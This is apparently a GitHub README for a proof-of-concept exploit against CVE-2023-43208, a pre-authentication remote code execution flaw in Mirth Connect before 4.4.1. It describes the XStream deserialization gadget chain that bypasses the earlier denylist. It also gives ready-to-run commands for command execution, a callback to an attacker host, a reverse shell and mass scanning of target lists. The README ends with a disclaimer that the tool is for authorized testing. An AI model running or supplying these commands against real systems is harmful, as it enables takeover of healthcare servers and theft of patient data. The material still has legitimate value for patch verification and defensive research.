kyakei/cve-2023-43208CVE-2023-43208: Mirth Connect Pre-Auth RCE PoC
Pre-authenticated Remote Code Execution in NextGen Healthcare Mirth Connect < 4.4.1 via XStream deserialization bypass.
CVSS 9.8 (Critical) — Patch bypass of CVE-2023-37679
Mirth Connect uses the Java XStream library to deserialize XML payloads on the /api/users endpoint without authentication. The original fix (CVE-2023-37679) introduced a denylist of dangerous classes, but this was bypassed using EventBindingInvocationHandler from Apache Commons Lang3 combined with the Commons Collections4 InvokerTransformer chain.
Fixed in Mirth Connect 4.4.1 by switching from denylist to allowlist.
pip install requests
Python 3.10+ (uses match statements).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.